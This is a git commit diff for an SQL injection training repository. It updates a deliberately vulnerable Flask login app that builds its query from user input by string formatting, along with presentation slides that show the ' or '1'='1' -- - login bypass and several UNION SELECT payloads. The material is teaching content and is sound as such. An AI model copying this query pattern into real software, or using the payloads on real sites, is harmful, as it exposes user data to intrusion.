added some more information to the presentation, linting of code for the example implemenation
This commit is contained in:
parent
0e2175a8fc
commit
f1a8b2cbeb
|
@ -1,9 +1,9 @@
|
||||||
# Example project of a website including an SQL injection
|
# Example project of a website including an SQL injection
|
||||||
|
|
||||||
This implementation is meant to be used for training purposes.
|
This implementation is meant to be used for training purposes.
|
||||||
Do not use the code in production or development.
|
Do not use this code in production or as a blueprint for development!
|
||||||
|
|
||||||
## Usage
|
## Installation
|
||||||
|
|
||||||
Use python poetry to install dependencies in the following way.
|
Use python poetry to install dependencies in the following way.
|
||||||
|
|
||||||
|
@ -11,6 +11,20 @@ Use python poetry to install dependencies in the following way.
|
||||||
poetry install
|
poetry install
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Dependencies can be found inside the `./pyproject.toml` file.
|
||||||
|
|
||||||
|
After installation has been done, start the flask server.
|
||||||
|
|
||||||
|
### Usage
|
||||||
|
|
||||||
|
```sh
|
||||||
|
poetry run python3 ./flask_sqli.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, the website is accessible at [localhost:5000](http://localhost:5000/)
|
||||||
|
|
||||||
|
### Manual Installation
|
||||||
|
|
||||||
If you want to install the dependencies manually use a venv in the following way.
|
If you want to install the dependencies manually use a venv in the following way.
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
|
@ -19,12 +33,11 @@ source venv/bin/activate
|
||||||
pip install flask
|
pip install flask
|
||||||
```
|
```
|
||||||
|
|
||||||
Dependencies can be found inside the `./pyproject.toml` file.
|
### Usage after manual installation
|
||||||
|
|
||||||
After installation has been done, start the flask server.
|
Start the flask server without poetry in the following way.
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
poetry run python3 ./flask_sqli.py
|
source venv/bin/activate
|
||||||
|
python3 ./flask_sqli.py
|
||||||
```
|
```
|
||||||
|
|
||||||
Now, the website is accessible at [localhost:5000](http://localhost:5000/)
|
|
||||||
|
|
|
@ -1,9 +1,10 @@
|
||||||
from flask import Flask, request, render_template
|
from flask import Flask, flash, request, render_template
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
|
||||||
app = Flask(__name__)
|
app = Flask(__name__)
|
||||||
app.secret_key = 'secret_key'
|
app.secret_key = 'secret_key'
|
||||||
|
|
||||||
|
|
||||||
def db_connection():
|
def db_connection():
|
||||||
conn = sqlite3.connect('users.db')
|
conn = sqlite3.connect('users.db')
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
|
@ -21,23 +22,27 @@ def login():
|
||||||
password = request.form['password']
|
password = request.form['password']
|
||||||
|
|
||||||
# Vulnerable code with SQL injection vulnerability
|
# Vulnerable code with SQL injection vulnerability
|
||||||
query = "SELECT * FROM users WHERE username='" + username + "' AND \
|
query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" \
|
||||||
password='" + password + "'"
|
% (username, password)
|
||||||
|
|
||||||
c = db_connection()
|
# YOU CAN ALSO WRITE IT LIKE THIS:
|
||||||
c.execute(query)
|
# query = "SELECT * FROM users WHERE username='" + username + "' AND \
|
||||||
user = c.fetchone()
|
# password='" + password + "'"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
c = db_connection()
|
||||||
|
c.execute(query)
|
||||||
|
user = c.fetchone()
|
||||||
|
|
||||||
if user:
|
if user:
|
||||||
login_failed = False
|
login_failed = False
|
||||||
return render_template('profile.html')
|
return render_template('profile.html')
|
||||||
else:
|
else:
|
||||||
login_failed = True
|
login_failed = True
|
||||||
return render_template('login.html', login_failed=login_failed, error_message=user)
|
return render_template('login.html', login_failed=login_failed)
|
||||||
except sqlite3.Error as e:
|
except sqlite3.Error as e:
|
||||||
flash(f"{e}")
|
flash(f"{e}")
|
||||||
return render_template('login.html')
|
return render_template('login.html', error=e)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
app.run(host='0.0.0.0', debug=True)
|
app.run(host='0.0.0.0', debug=True)
|
||||||
|
|
|
@ -5,7 +5,7 @@
|
||||||
{% with messages = get_flashed_messages(with_categories=True) %}
|
{% with messages = get_flashed_messages(with_categories=True) %}
|
||||||
{% if messages %}
|
{% if messages %}
|
||||||
{% for category, message in messages %}
|
{% for category, message in messages %}
|
||||||
<div class="alert alert-{{ category }}">
|
<div class="alert alert-{{ category }}" style="text-align:center;">
|
||||||
<h5>{{ message }}</h5>
|
<h5>{{ message }}</h5>
|
||||||
</div>
|
</div>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
@ -25,7 +25,4 @@
|
||||||
<input type="submit" value="Login">
|
<input type="submit" value="Login">
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
{% if error_message %}
|
|
||||||
{{ error_message }}
|
|
||||||
{% endif %}
|
|
||||||
{% endblock info %}
|
{% endblock info %}
|
||||||
|
|
|
@ -126,17 +126,19 @@ Next Presentation</li>
|
||||||
<div class="sourceCode" id="cb1"><pre
|
<div class="sourceCode" id="cb1"><pre
|
||||||
class="sourceCode python"><code class="sourceCode python"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a>sql_query <span class="op">=</span></span>
|
class="sourceCode python"><code class="sourceCode python"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a>sql_query <span class="op">=</span></span>
|
||||||
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a> cursor.execute(</span>
|
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a> cursor.execute(</span>
|
||||||
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a> <span class="st">"SELECT * FROM user_data where username = 'admin' and password = 's3cur3P4ssw0rd'"</span></span>
|
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a> <span class="st">"SELECT * FROM users WHERE username = 'admin' </span><span class="ch">\</span></span>
|
||||||
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a> )</span></code></pre></div>
|
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="st"> AND password = 's3cur3P4ssw0rd'"</span></span>
|
||||||
|
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a> )</span></code></pre></div>
|
||||||
</section>
|
</section>
|
||||||
<section class="slide level1">
|
<section class="slide level1">
|
||||||
|
|
||||||
<h3 id="number-2">Number 2</h3>
|
<h3 id="number-2">Number 2</h3>
|
||||||
<p>User input is possible as a part of said SQL query</p>
|
<p>User input is possible as a string and is a part of said SQL
|
||||||
|
query</p>
|
||||||
<div class="sourceCode" id="cb2"><pre
|
<div class="sourceCode" id="cb2"><pre
|
||||||
class="sourceCode python"><code class="sourceCode python"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a>sql_query <span class="op">=</span></span>
|
class="sourceCode python"><code class="sourceCode python"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a>sql_query <span class="op">=</span></span>
|
||||||
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a> cursor.execute(</span>
|
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a> cursor.execute(</span>
|
||||||
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a> <span class="st">"SELECT * FROM user_data where username = '</span><span class="sc">%s</span><span class="st">' and password = '</span><span class="sc">%s</span><span class="st">'"</span>,</span>
|
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a> <span class="st">"SELECT * FROM users WHERE username = '</span><span class="sc">%s</span><span class="st">' AND password = '</span><span class="sc">%s</span><span class="st">'"</span> \</span>
|
||||||
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a> <span class="op">%</span> (username, password)</span>
|
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a> <span class="op">%</span> (username, password)</span>
|
||||||
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a> )</span></code></pre></div>
|
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a> )</span></code></pre></div>
|
||||||
</section>
|
</section>
|
||||||
|
@ -149,6 +151,58 @@ Injection</h2>
|
||||||
<li class="fragment">Continue the query with your own SQL code</li>
|
<li class="fragment">Continue the query with your own SQL code</li>
|
||||||
</ul>
|
</ul>
|
||||||
</section>
|
</section>
|
||||||
|
<section class="slide level1">
|
||||||
|
|
||||||
|
<h3 id="crafting-an-sql-query">Crafting an SQL Query</h3>
|
||||||
|
<blockquote>
|
||||||
|
<div class="sourceCode" id="cb3"><pre
|
||||||
|
class="sourceCode sql"><code class="sourceCode sql"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="st">' or '</span><span class="dv">1</span><span class="st">'='</span><span class="dv">1</span><span class="st">' -- -</span></span></code></pre></div>
|
||||||
|
</blockquote>
|
||||||
|
<ul>
|
||||||
|
<li class="fragment">Close the existing string with: <code>'</code></li>
|
||||||
|
<li class="fragment">Write a query that equals to True:
|
||||||
|
<code>1=1</code></li>
|
||||||
|
<li class="fragment">End the SQL query through a comment:
|
||||||
|
<code>-- -</code></li>
|
||||||
|
</ul>
|
||||||
|
</section>
|
||||||
|
<section class="slide level1">
|
||||||
|
|
||||||
|
<h3 id="what-does-the-query-look-like">What Does the Query Look
|
||||||
|
Like</h3>
|
||||||
|
<div class="sourceCode" id="cb4"><pre
|
||||||
|
class="sourceCode sql"><code class="sourceCode sql"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="kw">SELECT</span> <span class="op">*</span> <span class="kw">FROM</span> users <span class="kw">WHERE</span> username <span class="op">=</span> <span class="st">''</span> <span class="kw">or</span> <span class="st">'1'</span> <span class="op">=</span> <span class="st">'1'</span> <span class="co">-- - AND password '%s'</span></span></code></pre></div>
|
||||||
|
<p><em>Numbers as strings is an SQLite specific thing</em></p>
|
||||||
|
</section>
|
||||||
|
<section class="slide level1">
|
||||||
|
|
||||||
|
<h3 id="other-queries">Other Queries</h3>
|
||||||
|
<div class="sourceCode" id="cb5"><pre
|
||||||
|
class="sourceCode sql"><code class="sourceCode sql"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="st">' UNION SELECT '</span>a<span class="st">',NULL,NULL,NULL -- -</span></span>
|
||||||
|
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a><span class="st">'</span> <span class="kw">UNION</span> <span class="kw">SELECT</span> <span class="op">*</span> <span class="kw">FROM</span> users <span class="kw">WHERE</span> user_id <span class="op">=</span> <span class="dv">1</span> <span class="co">-- -</span></span>
|
||||||
|
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a><span class="st">' UNION SELECT * FROM users WHERE user_id != 1337 -- -</span></span></code></pre></div>
|
||||||
|
</section>
|
||||||
|
<section class="slide level1">
|
||||||
|
|
||||||
|
<h2 id="even-more-injection-queries">Even More Injection Queries</h2>
|
||||||
|
<ul>
|
||||||
|
<li class="fragment"><a
|
||||||
|
href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection">PayloadsAllTheThings</a></li>
|
||||||
|
<li class="fragment"><a
|
||||||
|
href="https://book.hacktricks.xyz/pentesting-web/sql-injection">Hacktricks
|
||||||
|
SQL Injection Page</a></li>
|
||||||
|
<li class="fragment"><a
|
||||||
|
href="https://github.com/sqlmapproject/sqlmap">SQLMap</a></li>
|
||||||
|
</ul>
|
||||||
|
</section>
|
||||||
|
<section class="slide level1">
|
||||||
|
|
||||||
|
<h2 id="try-for-yourself">Try for Yourself</h2>
|
||||||
|
<p>Use the provided <a href="./example">example</a> inside this
|
||||||
|
presentation’s repository. There is a <a
|
||||||
|
href="./example/README.md">readme</a> which guides you through the
|
||||||
|
setup.</p>
|
||||||
|
</section>
|
||||||
<section id="the-end" class="slide level1">
|
<section id="the-end" class="slide level1">
|
||||||
<h1>The End</h1>
|
<h1>The End</h1>
|
||||||
<p><img src="./images/exploits_of_a_mom.png" alt="Convoluted Code" width="50%" height="auto%"></p>
|
<p><img src="./images/exploits_of_a_mom.png" alt="Convoluted Code" width="50%" height="auto%"></p>
|
||||||
|
|
|
@ -25,7 +25,8 @@ An SQL Query as a string embedded in other languages
|
||||||
```python
|
```python
|
||||||
sql_query =
|
sql_query =
|
||||||
cursor.execute(
|
cursor.execute(
|
||||||
"SELECT * FROM user_data where username = 'admin' and password = 's3cur3P4ssw0rd'"
|
"SELECT * FROM users WHERE username = 'admin' \
|
||||||
|
AND password = 's3cur3P4ssw0rd'"
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -33,12 +34,12 @@ sql_query =
|
||||||
|
|
||||||
### Number 2
|
### Number 2
|
||||||
|
|
||||||
User input is possible as a part of said SQL query
|
User input is possible as a string and is a part of said SQL query
|
||||||
|
|
||||||
```python
|
```python
|
||||||
sql_query =
|
sql_query =
|
||||||
cursor.execute(
|
cursor.execute(
|
||||||
"SELECT * FROM user_data where username = '%s' and password = '%s'",
|
"SELECT * FROM users WHERE username = '%s' AND password = '%s'" \
|
||||||
% (username, password)
|
% (username, password)
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
|
@ -52,6 +53,53 @@ sql_query =
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### Crafting an SQL Query
|
||||||
|
|
||||||
|
>```sql
|
||||||
|
>' or '1'='1' -- -
|
||||||
|
>```
|
||||||
|
|
||||||
|
* Close the existing string with: `'`
|
||||||
|
* Write a query that equals to True: `1=1`
|
||||||
|
* End the SQL query through a comment: `-- -`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### What Does the Query Look Like
|
||||||
|
|
||||||
|
```SQL
|
||||||
|
SELECT * FROM users WHERE username = '' or '1' = '1' -- - AND password '%s'
|
||||||
|
```
|
||||||
|
|
||||||
|
*Numbers as strings is an SQLite specific thing*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Other Queries
|
||||||
|
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 'a',NULL,NULL,NULL -- -
|
||||||
|
' UNION SELECT * FROM users WHERE user_id = 1 -- -
|
||||||
|
' UNION SELECT * FROM users WHERE user_id != 1337 -- -
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Even More Injection Queries
|
||||||
|
|
||||||
|
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||||
|
* [Hacktricks SQL Injection Page](https://book.hacktricks.xyz/pentesting-web/sql-injection)
|
||||||
|
* [SQLMap](https://github.com/sqlmapproject/sqlmap)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Try for Yourself
|
||||||
|
|
||||||
|
Use the provided [example](./example) inside this presentation's repository.
|
||||||
|
There is a [readme](./example/README.md) which guides you through the setup.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
# The End
|
# The End
|
||||||
|
|
||||||
<img src="./images/exploits_of_a_mom.png" alt="Convoluted Code" width="50%" height="auto%">
|
<img src="./images/exploits_of_a_mom.png" alt="Convoluted Code" width="50%" height="auto%">
|
||||||
|
|
Loading…
Reference in New Issue